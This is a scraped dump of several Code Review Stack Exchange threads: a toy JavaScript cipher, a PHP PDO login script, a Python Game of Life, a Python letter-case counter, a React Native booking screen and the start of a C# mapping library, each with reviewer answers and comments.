console.log("error")
}
}
}
function deconcatenate_all_data(data_obj) {
/*for (let x = 0, xl = data_obj.incoming_message.length; x < xl; x++) {
if (data_obj.incoming_message[x] != save_out_message[x]) {
console.log("error")
}
}*/
/*
make it dependent of the middle six bytes of that modulation array:
if the same idx is selected, add one and keep going
*/
let len = (data_obj.end_arr2.length) >> 2
let order_arr = new Buffer(5) /* value must != 0; 1: prefake, 2: mac1, 3: message, 4: mac2, 5: postfake*/
let alternate = (data_obj.end_arr2[(len >> 2)] >> 4) & 1
let what = (data_obj.end_arr3[(len >> 2) - 5]) & 7
if (what > 5) {
what = 7 - what
}
let set = 0
for (let x = 0; x < 5; x++) {
if (set >= 5) break
let which_offset
if (alternate) {
which_offset = (data_obj.end_arr2[(len >> 2) + x]) & 7
}
else {
which_offset = (data_obj.end_arr1[(len >> 2) + x]) & 7
}
alternate ^= alternate
if (which_offset > 5) {
which_offset = 7 - which_offset
}
if (order_arr[which_offset] === 0) {
if (++what > 5) { // cannot overlap
what = 1
}
order_arr[which_offset] = what
set++
continue
}
else {
for (let y = 0; y < 5; y++) {
if (which_offset > 5) {
which_offset = 0
}
if (order_arr[which_offset] === 0) {
if (++what > 5) { // cannot overlap
what = 1
}
order_arr[which_offset] = what
set++
continue
}
else {
which_offset++
}
}
}
}
//console.log(order_arr)
let offset = 0
// length
let pre_data_length = data_obj.pre_data.length
let post_data_length = data_obj.post_data.length
let macs_length_total = 8
let message_length = data_obj.incoming_message.length - pre_data_length - post_data_length - macs_length_total
let send_buffer = new Buffer(message_length)
for (let x = 0; x < 5; x++) {
switch (order_arr[x]) {
case 1:
//don't care
//console.log("deconcat: in offset pre", offset)
offset += pre_data_length
//console.log("deconcat: out offset pre", offset)
break;
case 2:
//console.log("deconcat: in offset mac1", offset)
// mac
data_obj.offset_mac1 = offset
data_obj.mac1 = 0
yu = data_obj.incoming_message[offset] ^ data_obj.end_arr3[offset++]
data_obj.mac1 |= (yu << 24)
yu = data_obj.incoming_message[offset] ^ data_obj.end_arr3[offset++]
data_obj.mac1 |= (yu << 16)
yu = data_obj.incoming_message[offset] ^ data_obj.end_arr3[offset++]
data_obj.mac1 |= (yu << 8)
yu = data_obj.incoming_message[offset] ^ data_obj.end_arr3[offset++]
data_obj.mac1 |= yu
data_obj.mac1 >>>= 0
//console.log("deconcat: out offset mac1", offset)
break;
case 3:
data_obj.offset_message = offset
//console.log("deconcat: in offset mess", offset)
for (let x = 0, xl = message_length; x < xl; offset++ , x++) {
// overflow -> don't care
//console.log(data_obj.incoming_message[offset], data_obj.end_arr3[offset])
send_buffer[x] = data_obj.incoming_message[offset] ^ data_obj.end_arr3[offset]
}
//console.log("deconcat: out offset mess", offset)
break;
case 4:
//console.log("deconcat: in offset mac2", offset)
data_obj.offset_mac2 = offset
data_obj.mac2 = 0
yu = data_obj.incoming_message[offset] ^ data_obj.end_arr3[offset++]
data_obj.mac2 |= (yu << 24)
yu = data_obj.incoming_message[offset] ^ data_obj.end_arr3[offset++]
data_obj.mac2 |= (yu << 16)
yu = data_obj.incoming_message[offset] ^ data_obj.end_arr3[offset++]
data_obj.mac2 |= (yu << 8)
yu = data_obj.incoming_message[offset] ^ data_obj.end_arr3[offset++]
data_obj.mac2 |= yu
data_obj.mac2 >>>= 0
//console.log("deconcat: out offset mac2", offset)
break;
case 5:
//don't care
//console.log("deconcat: in offset post2", offset)
offset += post_data_length
//console.log("deconcat: out offset post2", offset)
break;
}
}
data_obj.output_message = send_buffer
}
async function main() {
/* Bob and Alice have exchanged their initial shared secret by hands
There are 2 exchanges that are completely unrelated. Bob takes the initiative to contact Alice.
*/
// from Bob..
let cypher = await MKL_encrypt_sender(shared_secret1, shared_secret2)
//..Network..
//.. to Alice
let result_object = await MKL_decrypt_receiver(cypher, shared_secret1, shared_secret2)
let cypher_back = await MKL_encrypt_receiver(result_object)
//..Network..
//.. back to Bob
await MKL_decrypt_sender(cypher_back)
console.log("done")
}
main()
</code></pre>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-08T15:08:11.573",
"Id": "412257",
"Score": "0",
"body": "Please do not update the code in your question to incorporate feedback from answers, doing so goes against the Question + Answer style of Code Review. This is not a forum where you should keep the most updated version in your question. Please see *[what you may and may not do after receiving answers](//codereview.meta.stackexchange.com/a/1765)*. Please post a follow-up question instead."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-08T15:09:48.020",
"Id": "412258",
"Score": "1",
"body": "Ok sorry, will keep that in mind"
}
] | [
{
"body": "<h2>Too long</h2>\n<p>That is a lot of code, and I don't have a clue what is should be doing. But then neither does the machine you run it on.</p>\n<ul>\n<li><p>It is full of repeated and redundant code.</p>\n<p>Removing comments and whitespaces trimmed 200+ lines.</p>\n<p>Compacting code by removing needless line breaks, using ternary operators, using functions to do repeated code, removing switch statement in favour of array lookups, I was down to 600 lines and there was a lot left to cut out.</p>\n<p>You basically have more than half the content (1200 lines in the question snippet) that contributes nothing to the functionality. I estimate that the whole thing can be written in less than 400 lines, be easier to read and maintain, and run more efficiently.</p>\n</li>\n<li><p>Don't declare length variables in <code>for</code> loops, that optimization became history a decade ago.</p>\n</li>\n<li><p>Use <code>for of</code> loops in favour of <code>for ; ;</code> loops</p>\n</li>\n<li><p>Remove useless code. You have labels and variable declarations that are never used.</p>\n</li>\n<li><p>JavaScript requires semicolons, use them unless you know every edge case where ASI can catch you out. if you don't know what ASI is then use semicolons!</p>\n</li>\n<li><p>Some bad (evil) coder one day missed the old spaghetti days when <code>goto</code> was all the rage. But <code>goto</code> had such a bad reputation nobody would accept its use anymore. So he came up with <code>continue</code> and <code>labels</code> and thus <code>goto 10</code> became <code>continue label</code></p>\n<p><code>continue</code> is a hack, a <code>goto</code> in disguise, a hard to see break in flow. I have written a zillion lines of code and have never needed to use <code>continue</code> or declare a label in released code.</p>\n</li>\n<li><p>If a function is more than a page long, its too long.</p>\n</li>\n<li><p>Use <code>const</code> for variable that do not (and thus should not) change.</p>\n</li>\n<li><p>Removing code via comments is a bad habit. Good code does not have any code inside comments. (Granted there is reason during testing and development to temp out code with comments, but when done it should be removed)</p>\n</li>\n<li><p>JavaScript uses <code>camelCase</code> and if you write JS so should you.</p>\n</li>\n<li><p>Sign that an array is in order. If you have variables named <code>end_arr1</code>, <code>end_arr2</code>, <code>end_arr3</code> it's a sure sign that it should be an array.</p>\n<p>The following code</p>\n</li>\n</ul>\n<blockquote>\n<pre><code>data_obj.shared_secret1 = 0\ndata_obj.shared_secret2 = 0\ndata_obj.final_swap1 = 0\ndata_obj.final_swap2 = 0\ndata_obj.multiple1 = 0\ndata_obj.multiple2 = 0\ndata_obj.mac1 = 0\ndata_obj.mac2 = 0\n</code></pre>\n</blockquote>\n<p>is repeated again and again. So much code can be removed if you used an array and indexed the 1,2</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-09T10:52:30.683",
"Id": "412330",
"Score": "0",
"body": "One more rather minor thing - there is a bunch of `async` and `await` statements but I don't think any of the code is actually asynchronous."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-07T11:20:16.127",
"Id": "213028",
"ParentId": "212999",
"Score": "2"
}
}
] | {
"AcceptedAnswerId": null,
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-06T20:36:55.580",
"Id": "212999",
"Score": "2",
"Tags": [
"javascript",
"cryptography"
],
"Title": "Crypto for a funny contest with friends"
} | 212999 |
<p>Just started using PDO for my newest project. I'd like to get input on how this login script looks and if I should alter it in any way.</p>
<p>When the user clicks the link to the index.php page, a script immediately fires and checks if the windows username exists in the users table in the DB.</p>
<pre><code><?php
include("include/sessions.php");
$windowusername = $_SERVER['REMOTE_USER'];
$sql = 'SELECT , username, fullname, email FROM users WHERE username = :username';
$sth = $dbc->prepare($sql, array(PDO::ATTR_CURSOR => PDO::CURSOR_FWDONLY));
$sth->execute(array(':username' => $windowusername));
$res = $sth->fetchAll(PDO::FETCH_ASSOC);
$numrows = count($res);
if($numrows == 1)
{
foreach($res as $row)
{
$_SESSION['user'] = $row;
}
header('Location: home.php');
}
else
{
header('Location: chassisRegistration.php');
}
$this->connection = null; // <- wasn't sure if this is necessary
?>
</code></pre>
<p>All of the above works without any errors.</p>
<p>As long as the windows username exists in the users table, the session variable is set, then route the user to the home page. </p>
<p>If the user does not exist, route them to the registration page.</p>
<p>I would appreciate any input on how this script looks. Please let me know if there is anything I should do differently.</p>
<p>Thank you in advance.</p>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-07T17:58:09.910",
"Id": "412128",
"Score": "0",
"body": "You should be using `exit()` or `__halt_compiler();` after using `header(...)`.. The reason behide this because it can be possible to get into unvalid execution paths in the code when the html client is ignoring HTTP location headers.."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-07T18:39:46.620",
"Id": "412135",
"Score": "0",
"body": "@RaymondNijland - Are you referring to the closing of the connection?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-07T18:58:22.690",
"Id": "412140",
"Score": "0",
"body": "No i was generally giving advice you need to use `header('Location: home.php'); exit();` because its in fact a vulnerability to trust the HTTP client to respect the HTTP location header. \"Are you referring to the closing of the connection?\" And ideally this line of code should happen before anny redirects."
}
] | [
{
"body": "<p>For one, fetchAll() is not the only method to get the result from a query with PDO. When you are expecting a single row, you should use a function for the exact purpose - fetch(). It will make your code meaningful, readable and concise:</p>\n\n<pre><code>$row = $sth->fetch(PDO::FETCH_ASSOC);\nif($row) { \n $_SESSION['user'] = $row;\n header('Location: home.php');\n}\n</code></pre>\n\n<p>Also, I am not sure about security. I don't know your conditions but in the wild it is very easy to forge REMOTE_USER by requesting your site like this: <a href=\"http://fake_username:foo@example.com/\" rel=\"nofollow noreferrer\">http://fake_username:foo@example.com/</a></p>\n\n<p>So at least make sure that it's indeed an existing windows user is set in REMOTE_USER all the time (depends on your conditions, server settings etc). </p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-07T13:56:09.153",
"Id": "412078",
"Score": "0",
"body": "Thank you for your input. I have made the adjustment."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-07T06:55:32.210",
"Id": "213015",
"ParentId": "213001",
"Score": "2"
}
}
] | {
"AcceptedAnswerId": "213015",
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-06T20:55:58.770",
"Id": "213001",
"Score": "2",
"Tags": [
"php",
"mysql",
"pdo"
],
"Title": "PDO login script"
} | 213001 |
<p>For learning purpose I've started creating my implementation of Conway's Game of Life. I've used numpy to store big array, contating dead and alive cells, then I've apllied Conway's rules, to create mechanics of cells life. To manage grid, and graphics I used pygame module. After many reviews, and rewriting code in many ways, I can't find out what's wrong with it, so I decided to ask you. For example I've tried to make a glider, (as code shows), but he dies after 3 loop cycles. I'd be appreciate for help and tips. Can you help me find out why the cells aren't reproducing? Thanks in advance. Code:</p>
<pre><code>import pygame
import numpy as np
BLACK = (0, 0, 0)
GREEN = (0, 255, 0)
N = 195
WIDTH = 10
HEIGHT = 10
grid = np.zeros(shape=(N, N), dtype=np.int32)
glider = np.array([[0, 0, 1],
[1, 0, 1],
[0, 1, 1]])
grid[3:6, 3:6] = glider
pygame.init()
WINDOW_SIZE = [980, 980]
screen = pygame.display.set_mode(WINDOW_SIZE)
pygame.display.set_caption("GAME OF LIFE")
done = False
clock = pygame.time.Clock()
while not done:
for event in pygame.event.get():
if event.type == pygame.QUIT:
done = True
for row in range(N):
for column in range(N):
color = BLACK
if grid[row][column] == 1:
color = GREEN
pygame.draw.rect(screen, color,
[WIDTH * column,
HEIGHT * row,
WIDTH,
HEIGHT])
newGrid = grid.copy()
for i in range(N):
for j in range(N):
total = grid[(i-1) % N:(i+1) % N, (j-1) % N:(j+1) % N].sum() - grid[i, j]
if grid[i, j] == 1:
if(total < 2) or (total > 3):
newGrid[i, j] = 0
else:
if total == 3:
newGrid[i, j] = 1
grid = newGrid
clock.tick(60)
pygame.display.flip()
pygame.quit()
</code></pre>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-06T22:50:42.633",
"Id": "411998",
"Score": "0",
"body": "Welcome to Code Review! Unfortunately this post is off-topic for this site. Please read [What topics can I ask about here?](https://codereview.stackexchange.com/help/on-topic) - note that it states \"_If you are looking for feedback on a specific **working** piece of code...then you are in the right place!_\" Also, when posting your question, there should have been text on the side that read \"_Your question **must contain code that is already working correctly**_...\" When you have fixed the code, please [edit] your post to include the working code and it can be reviewed.\""
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-06T23:04:15.763",
"Id": "412002",
"Score": "0",
"body": "Note: [cross posted on SO](https://stackoverflow.com/q/54563274/1575353)"
}
] | [
{
"body": "<p>I think you have a couple of subtle bugs in the way you implement <a href=\"https://en.wikipedia.org/wiki/Conway's_Game_of_Life#Rules\" rel=\"nofollow noreferrer\">Conway's rules</a>.\nSee my comments in the code for details:</p>\n\n<pre><code>for i in range(N):\n for j in range(N):\n # I changed the range of the extent of the sum, note +2 rather than +1 !\n total = grid[(i-1) % N:(i+2) % N, (j-1) % N:(j+2) % N].sum() - grid[i, j]\n if grid[i, j] == 1:\n if(total < 2) or (total > 3):\n newGrid[i, j] = 0\n # allow for survival in case of total = 2 or 3\n else:\n newGrid[i, j] = 1\n # allow for reproduction if cell is empty\n else:\n if total == 3:\n newGrid[i, j] = 1\n</code></pre>\n\n<p>With these edits the glider should glide :)</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-06T22:51:31.583",
"Id": "412000",
"Score": "4",
"body": "Welcome to Code Review! Please note, questions involving code that's not working as intended, are off-topic on this site. If OP edits their post to address the problem and make their post on-topic, they make your answer moot. [It is advised not to answer such questions](https://codereview.meta.stackexchange.com/a/6389/120114). Protip: There are tons of on-topic questions to answer; you'll make more reputation faster if you review code in questions that will get higher view counts for being on-topic."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-06T22:53:38.060",
"Id": "412001",
"Score": "0",
"body": "Thank you very much, really the first one only had influence on my program, now I know my mistake. Have a nice day!"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-06T23:07:20.953",
"Id": "412003",
"Score": "1",
"body": "Sure @dannyxn! maybe consider deleting this question here as it looks off-topic. My answer is on StackOverflow anyway (I can't delete my answer as you have accepted it :)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-07T02:21:32.657",
"Id": "412012",
"Score": "1",
"body": "Thank you for your understanding. Feel free to stick around for the plenty of on-topic questions we have that could still use an answer :-)"
}
],
"meta_data": {
"CommentCount": "4",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-06T22:49:09.713",
"Id": "213003",
"ParentId": "213002",
"Score": "0"
}
}
] | {
"AcceptedAnswerId": "213003",
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-06T22:27:49.653",
"Id": "213002",
"Score": "0",
"Tags": [
"python",
"game-of-life"
],
"Title": "Python implementation of Conway's Game of Life"
} | 213002 |
<p>I am writing a program to count the number of uppercase and lowercase letters in a string. I came up with something that works, but as I am still a beginner I have a feeling writing the code this way is probably considered "clumsy."</p>
<p>Here is what I have: </p>
<pre><code>stri = input("Give me a phrase:")
stri_up = 0
stri_lo = 0
for i in stri:
if i.isupper():
stri_up += 1
if i.islower():
stri_lo += 1
print("The number of uppercase letters in your phrase is:", stri_up)
print("The number of lowercase letters in your phrase is:", stri_lo)
</code></pre>
<p>Output:</p>
<pre class="lang-none prettyprint-override"><code>Give me a phrase: tHe Sun is sHininG
The number of uppercase letters in your phrase is: 4
The number of lowercase letters in your phrase is: 11
</code></pre>
<p>I would like to learn how to write neat, beautiful code so I am wondering if there is a more efficient and elegant way to code this.</p>
| [] | [
{
"body": "<p>Your code is mostly fine. I'd suggest more meaningful names for variables, e.g. <code>i</code> is typically a name for integer/index variables; since you're iterating over letters/characters, you might choose <code>c</code>, <code>char</code>, <code>let</code>, or <code>letter</code>. For <code>stri</code>, you might just name it <code>phrase</code> (that's what you asked for from the user after all). You get the idea. Make the names self-documenting.</p>\n\n<p>Arguably you could make it look \"prettier\" by performing a single pass per test, replacing:</p>\n\n<pre><code>stri_up = 0\nstri_lo = 0\nfor i in stri:\n if i.isupper():\n stri_up += 1\n if i.islower():\n stri_lo += 1\n</code></pre>\n\n<p>with:</p>\n\n<pre><code>stri_up = sum(1 for let in stri if let.isupper())\nstri_lo = sum(1 for let in stri if let.islower())\n</code></pre>\n\n<p>That's in theory less efficient, since it has to traverse <code>stri</code> twice, while your original code only does it once, but in practice it's likely faster; on the CPython reference interpreter, <code>sum</code> is highly optimized for this case and avoids constructing a bunch of intermediate <code>int</code> objects while summing.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-07T01:48:27.290",
"Id": "412008",
"Score": "8",
"body": "You can just do `sum(c.isupper() for c in phrase)`, because boolean will be treated as 0 or 1 when summing."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-07T02:47:49.270",
"Id": "412013",
"Score": "6",
"body": "@200_success: True, but I'm using dirty knowledge here; [the `sum` fast path only fires for `int` (`PyLong_Object` at C layer) *exactly*](https://github.com/python/cpython/blob/3.7/Python/bltinmodule.c#L2359) (no `int` subclasses accepted, including `bool`); yielding `bool` blocks that optimization (and involves a lot more yields from the genexpr that can be avoided). Plus, I consider it more obvious to actually sum integers conditionally; using `bool` for numeric value is perfectly legal, just a little more magical than necessary, given the minimal benefit."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-07T03:20:39.573",
"Id": "412014",
"Score": "1",
"body": "Just for comparison, a microbenchmark where `stri`/`phrase` is just one of each ASCII character (`''.join(map(chr, range(128)))`), takes 15.3 µs to complete on my computer using your code, vs. 10.5 µs for summing hardcoded `1`s conditionally."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-07T16:21:48.047",
"Id": "412106",
"Score": "0",
"body": "Your theory vs practice may be a little off - for short strings, it likely matters little anyway, but putting a long string through the function may very well cause it to invalidate the cache (you just know someone's going to try passing it the entire works of shakespeare all at once). This would make the cache friendly single pass much more efficient where it really counts. Probably... I really should profile this."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-07T16:29:21.197",
"Id": "412109",
"Score": "2",
"body": "@200_success `\"But\", I thought, \"wouldn't a lot of punctiation (e.g. ./@#~\";:' etc.) cause that single line to be incorrect?\"` = 2 uppers and 109 lowers when it should be 70 lowers."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-07T22:14:36.207",
"Id": "412156",
"Score": "1",
"body": "@Baldrickk: I modified the microbenchmark to run against the contents of Ubuntu's `american-english-insane` file repeated 10 times (`len` of 68753140). My `sum` was fastest by a small amount (for 10x case, 8.34 s), the OP's code close behind (8.48 s), and the 200_success's rather further behind (11 s). The same pattern held for unrepeated `american-english-insane`, with the same margins. I suspect the cache doesn't matter; any system worth its salt can recognize sequential memory access and populate the cache ahead of time (Python is slow enough to give it time to do so)."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-07T22:15:51.007",
"Id": "412157",
"Score": "0",
"body": "Regardless, I was suggesting it mostly as cleaner looking code (it's shorter, and each line does exactly one obvious thing, no need for context to understand it); the mild speed boost doesn't really matter."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-08T09:24:37.150",
"Id": "412201",
"Score": "0",
"body": "@ShadowRanger thanks! Always good to know. I'm used to working with programs where that is a big thing."
}
],
"meta_data": {
"CommentCount": "8",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-07T00:09:11.320",
"Id": "213006",
"ParentId": "213005",
"Score": "11"
}
},
{
"body": "<h1>Small optimisation</h1>\n\n<p>If you know a character is an upper, you don't have to test for lower anymore:</p>\n\n<pre><code>stri = input(\"Give me a phrase:\")\nstri_up = 0\nstri_lo = 0\nfor i in stri:\n if i.isupper():\n stri_up += 1\n elif i.islower():\n stri_lo += 1\nprint(\"The number of uppercase letters in your phrase is:\", stri_up)\nprint(\"The number of lowercase letters in your phrase is:\", stri_lo)\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-08T09:25:14.103",
"Id": "412202",
"Score": "1",
"body": "what about punctuation?"
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-07T09:35:38.220",
"Id": "213021",
"ParentId": "213005",
"Score": "4"
}
},
{
"body": "<p><strong>TLDR</strong>: Looks good! This is perfectly reasonable solution for your problem. It's certainly not clumsy.</p>\n\n<p><strong>Optimisations</strong>\nThe optimisation ShadowRanger points out, is faster, due to compiler optimisations, I wouldn't worry about this at a beginner level (and not even at an experienced level really, unless it was critical to make every optimisation).</p>\n\n<p>The optimisation of checking only <code>isupper</code> or <code>islower</code> that some have pointed out probably isn't valid. If your input is guaranteed to be only alphabetic characters A-Z or a-z, then you can assume that if it's not upper, it's lower. But this doesn't apply generally. '1' is neither lower nor upper for example. Checking only <code>isupper</code> and assuming the opposite on a <code>False</code> result, you would increment your 'lower' counter and that wouldn't be correct.</p>\n\n<p>Your code provides a correct solution and doesn't break when the user inputs an empty string or non alphabetic characters, which is why I'd consider it good.</p>\n\n<p><strong>Possible next step:</strong>\nSince you say you're a beginner, I'd look up writing tests if you haven't already and learn a little about how to write good tests. Checking empty input and special characters would be an interesting start. Some terms to search would be edge-case</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-07T11:11:22.850",
"Id": "412055",
"Score": "0",
"body": "Thank you, your comment warmed my heart and has very useful suggestions. :)"
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-07T09:59:05.207",
"Id": "213022",
"ParentId": "213005",
"Score": "3"
}
},
{
"body": "<p>You can approach this in a cleaner manner by using the filter function; for example:</p>\n\n<pre><code>stri = input(\"Give me a phrase:\")\n# Filter will return every character in stri x, where x.isupper() returns true\nstri_up = filter(str.isupper, stri) \n# Filter returns an iterator, to get the length we cast to a list first\nup_count = len(list(stri_up)) \nstri_lo = filter(str.islower, stri)\nlo_count = len(list(stri_lo))\nprint(\"The number of uppercase letters in your phrase is:\", up_count)\nprint(\"The number of lowercase letters in your phrase is:\", lo_count)\n</code></pre>\n\n<p>As a note this is a less efficient approach, since you iterate through the string twice in the filter calls, but it is a different way of approaching the problem, and hopefully get you introduced to some more advanced python techniques. </p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-07T17:14:30.860",
"Id": "213056",
"ParentId": "213005",
"Score": "2"
}
}
] | {
"AcceptedAnswerId": "213006",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-06T22:35:35.343",
"Id": "213005",
"Score": "8",
"Tags": [
"python",
"beginner",
"python-3.x",
"strings"
],
"Title": "Counting lowercase and uppercase letters in a string in Python"
} | 213005 |
<p>I've been building a two-sided (both clients and service providers would use the app) appointment booking app. This is a screen from which a service provider can confirm their profile after having completed the fields across multiple screens previously.</p>
<p>I have a couple of React/React Native specific questions:</p>
<ul>
<li>Is it okay to have components defined within parent components that access the parent component's props directly?</li>
<li>Is it okay to have onPress handlers defined directly in the JSX directly?</li>
</ul>
<p>I would also appreciate any and all general feedback. Tear it up!</p>
<p>// ProviderConfirmProfileScreen.js</p>
<pre><code>import React, { Component } from 'react';
import { ScrollView, Text, TouchableOpacity } from 'react-native';
import { ListItem } from 'react-native-elements';
import { connect } from 'react-redux';
import {
mapStateToProps,
mapDispatchToProps,
} from '../providerConfirmProfileScreen';
import {
PersonRow, PhoneRow, LocationRow, LicenseRow,
} from './ClickableRow';
import FullWidthButton from './FullWidthButton';
import { clearStackAndPush } from './navigationHelpers';
import ProfileImage from './ProfileImage';
import ScreenContainerView from './ScreenContainerView';
import screens from './screens';
import { s } from './styles';
class ProviderConfirmProfileScreen extends Component {
static navigationOptions = () => ({
title: 'Confirm Profile',
});
next = this.props.navigation.getParam('next');
currentScreen = screens.ProviderConfirmProfileScreen;
pushModal = (nextScreen) => {
const next = { [nextScreen]: this.currentScreen };
this.props.navigation.push(nextScreen, { next });
};
ProfileImageRow = () => (
<TouchableOpacity
activeOpacity={0.8}
style={[s.mt1, s.mh1, s.mb1]}
onPress={() => this.pushModal(screens.ProviderPickProfileImageScreen)}
>
<ProfileImage source={this.props.profileImage} />
</TouchableOpacity>
);
BioRow = () => (
<ListItem
bottomDivider
chevron
onPress={() => this.pushModal(screens.ProviderAddBioScreen)}
title={<Text style={[s.fs2, s.lh25]}>{this.props.bio}</Text>}
/>
);
render() {
const { navigation } = this.props;
return (
<ScreenContainerView>
<ScrollView showsVerticalScrollIndicator={false}>
<this.ProfileImageRow />
<PersonRow
title={this.props.fullName}
topDivider
onPress={() => {
this.pushModal(screens.ProviderSignupAdditionalFieldsScreen);
}}
/>
<PhoneRow
title={this.props.phone}
onPress={() => {
this.pushModal(screens.ProviderSignupAdditionalFieldsScreen);
}}
/>
<LocationRow
title={this.props.city}
onPress={() => {
this.pushModal(screens.ProviderSignupAdditionalFieldsScreen);
}}
/>
<LicenseRow
title={this.props.license}
onPress={() => {
this.pushModal(screens.ProviderPickLicenseScreen);
}}
/>
<this.BioRow />
<FullWidthButton
buttonStyle={[s.mt1, s.mb1, s.mh1]}
title="Confirm"
onPress={() => {
this.props.saveProfile();
const nextScreen = this.next.ProviderConfirmProfileScreen;
const action = clearStackAndPush(nextScreen, { next: this.next });
navigation.dispatch(action);
}}
/>
</ScrollView>
</ScreenContainerView>
);
}
}
export default connect(
mapStateToProps,
mapDispatchToProps,
)(ProviderConfirmProfileScreen);
</code></pre>
<p>// styles.js</p>
<pre><code>const SPACING_0 = 10;
const SPACING_1 = 20;
const GRAY = '#666';
const LIGHT_GRAY = '#ddd';
export const SCALE_FACTOR = Dimensions.get('window').scale / 3; // 3 is the iPhone 8 Plus scale factor, do not change
export const s = StyleSheet.create({
bbw1: { borderBottomWidth: 1 },
boclgray: { borderColor: LIGHT_GRAY },
cgray: { color: GRAY },
clgray: { color: LIGHT_GRAY },
clcoral: { color: 'lightcoral' },
ffPingFangHKL: { fontFamily: 'PingFangHK-Light' },
flex1: { flex: 1 },
fs0: { fontSize: 25 * SCALE_FACTOR },
fs1: { fontSize: 21 * SCALE_FACTOR },
fs2: { fontSize: 17 * SCALE_FACTOR },
fs3: { fontSize: 13 * SCALE_FACTOR },
fwb: { fontWeight: 'bold' },
lh25: { lineHeight: 25 * SCALE_FACTOR },
mb0: { marginBottom: SPACING_0 },
mb1: { marginBottom: SPACING_1 },
mh1: { marginHorizontal: SPACING_1 },
mt0: { marginTop: SPACING_0 },
mt1: { marginTop: SPACING_1 },
mv1: { marginVertical: SPACING_1 },
pb0: { paddingBottom: SPACING_0 },
pb1: { paddingBottom: SPACING_1 },
ph1: { paddingHorizontal: SPACING_1 },
pt1: { paddingTop: SPACING_1 },
tac: { textAlign: 'center' },
});
</code></pre>
<p>// screens.js</p>
<pre><code>export default {
ClientAppointmentDetailScreen: 'ClientAppointmentDetailScreen',
ClientAppointmentListScreen: 'ClientAppointmentListScreen',
ClientAppointmentRequestSubmittedScreen:
'ClientAppointmentRequestSubmittedScreen',
ClientAppointmentTabStackNavigator: 'ClientAppointmentTabStackNavigator',
ClientConfirmAppointmentRequestScreen:
'ClientConfirmAppointmentRequestScreen',
ClientHomeScreen: 'ClientHomeScreen',
ClientHomeTabStackNavigator: 'ClientHomeTabStackNavigator',
...
</code></pre>
| [] | [] | {
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-07T02:59:35.577",
"Id": "213007",
"Score": "1",
"Tags": [
"react.js",
"controller",
"jsx",
"mobile",
"react-native"
],
"Title": "React Native app screen for booking appointments"
} | 213007 |
<p>This code is part of a larger mapping library I'm working on to address some business concerns of transforming data. I was inspired by mapstruct in Java, but opted for users to annotate / add attributes to a poco to control the mapping operation.</p>
<p>Because reflection can be an expensive operation, I opted for scanning all loaded assemblies at run time (and filtering on criteria) and caching the data in memory. Below I am fetching metadata for types by going to the cache and accessing both the common property context and xml property context to check for certain conditions.</p>
<p>Some code has been omitted to keep this focused, but the rest of the repo is here: <a href="https://github.com/Igneous01/Integration/tree/19bc11e9b095fc87fc183ea30cb0b53880c088d1" rel="nofollow noreferrer">https://github.com/Igneous01/Integration</a></p>
<p>Sample of how code is exercised</p>
<pre><code>public class BooleanConverter : IXmlPropertyConverter<bool>
{
public bool ConvertToSourceType(string source)
{
if ("y".Equals(source.ToLower()))
return true;
else
return false;
}
public string ConvertToDestinationType(bool source)
{
if (source)
return "Y";
else
return "N";
}
}
public class DateTimeConverter : IXmlPropertyConverter<DateTime>
{
private const string DATE_TIME_FORMAT = "yyyy-MM-dd HH:mm:ss";
public DateTime ConvertToSourceType(string source)
{
return DateTime.ParseExact(source, DATE_TIME_FORMAT, System.Globalization.CultureInfo.InvariantCulture);
}
public string ConvertToDestinationType(DateTime source)
{
return source.ToString(DATE_TIME_FORMAT);
}
}
[IncludeInScan]
public class UnMarked
{
public int UnmarkedFieldA { get; set; }
public double UnmarkedFieldB { get; set; }
}
